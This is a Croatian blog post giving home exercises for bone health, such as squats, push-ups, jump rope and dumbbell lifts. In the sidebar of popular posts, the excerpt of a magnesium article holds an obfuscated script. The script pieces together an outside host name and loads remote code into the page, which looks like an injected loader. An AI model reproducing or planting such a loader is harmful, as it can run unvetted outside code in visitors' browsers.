VJEŽBE ZA ZDRAVIJE I JAČE KOSTI




Vježbe za zdravije i jače kosti 




Zdravlje kostiju često zanemarujemo dok ne dođemo u određenu životnu dob. Ipak, činjenica je da bismo mu se trebali posvetiti puno ranije. Pogotovo žene. Naime, sve hormonalne promjene kroz koje prolazimo tijekom života, od mjesečnice, preko trudnoće i naposljetku menopauze, oslabljuju naše kosti. Nažalost, prirodno smo tome sklonije od muškaraca i baš zato bismo treba početi što ranije. U nastavku donosimo vježbe za jače kosti koje možete raditi i kod kuće uz minimalno opreme.





Koji tipovi vježbi su najbolji?


Trening snage

Na prvom mjestu je trening snage koji može znatno poboljšati gustoću kostiju čak i ako ga radite tek nekoliko minuta svaki dan. Ne morate provoditi sate i sate u teretani da biste ubrali plodove svog rada.

Trening snage funkcionira tako što promiče gustoću kostiju primjenjivanjem kontrolirane razine stresa na kosti i potiče proces koji se zove remodelacija kostiju. To je prirodni proces, koji se odvija u četiri stadija i tijekom kojeg se oštećena kost kontinuirano razgrađuje, a zamjenjuje ju nova.

Količina stresa koja se primjenjuje na kosti ovisi o vašoj fizičkoj spremi, kondiciji, tipu vježbi koje radite i razlikuje se od osobe do osobe, ali bez obzira na to s kolikim težinama radite, trening snage uvijek će potaknuti proces obnove i ojačavanja kostiju. 




Visoki intenzitet i trening s vlastitom težinom

Kada radite vježbe samo s vlastitom tjelesnom težinom ojačavate i mišiće koji okružuju kosti, a to znači da ih dugoročno štitite. Bilo da hodate, trčite, plešete ili igrate neki od mnogih sportova s reketima, vaše kosti će vam biti zahvalne

Ovakve vježbe visokog intenziteta, poput trčanja ili preskakanja užeta stvaraju jači pritisak na kosti i time povećavaju gustoću vaših kostiju.




Vježbanje ravnoteže

Možda vam se ovo i čini smiješnim, ali što vam je ravnoteža bolja, to su padovi manje izgledni, pogotovo u zrelijoj dobi. Samim time, vaše kosti su sigurnije. Također, ako radite na ravnoteži i mobilnosti, bolje ćete se kretati.




Četiri vježbe za za jače kosti

Na prvom mjestu su svakako čučnjevi. Uz sve moguće treninge koji su trenutačno popularni, viralni i dostupni često zaboravljamo ono osnovno, a itekako učinkovito. Ovime ojačavate mišiće nogu i stražnjice, samim time štitite kosti i donji dio leđa. Ako želite jači učinak na gustoću kostiju, možete dodati bučice, težinu izaberite prema ono što možete dizati bez potencijalnih ozljeda i velikog napora.

Sljedeći su sklekovi. I ako vam pada mrak na oči na njihov spomen, sve nam je jasno, ali početnici mogu krenuti s verzijom gdje su vam ruke na povišenoj površini umjesto na podu. Svejedno je učinkovito, ali prikladno za sve one koji tek kreću.

Preskakanje užeta je jedna od onih vježbi koju također često zanemarujemo. Možete ju raditi sa stvarnim užetom ili samo simulirati da imate uže. Ovo spada u vježbe visokog intenziteta.

Naposljetku tu je i dizanje utega. Sjednite s prekriženim nogama i uspravnim leđima na podlogu za vježbanje. Izaberite bučice s kojim možete raditi i dižite ih iznad glave. Kao da ste na benchu. Pazite na disanje, držanje i da su vam trbušni mišići uključeni.




Što vam treba?

Sve ove vježbe možete raditi kod kuće, a potrebni su vam samo utezi i podloga za vježbanje. Svaku vježbu izvodite po 45 sekundi i između vježbi napravite pauzu od 30 do 60 sekundi. Ponovite sve nekoliko puta.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više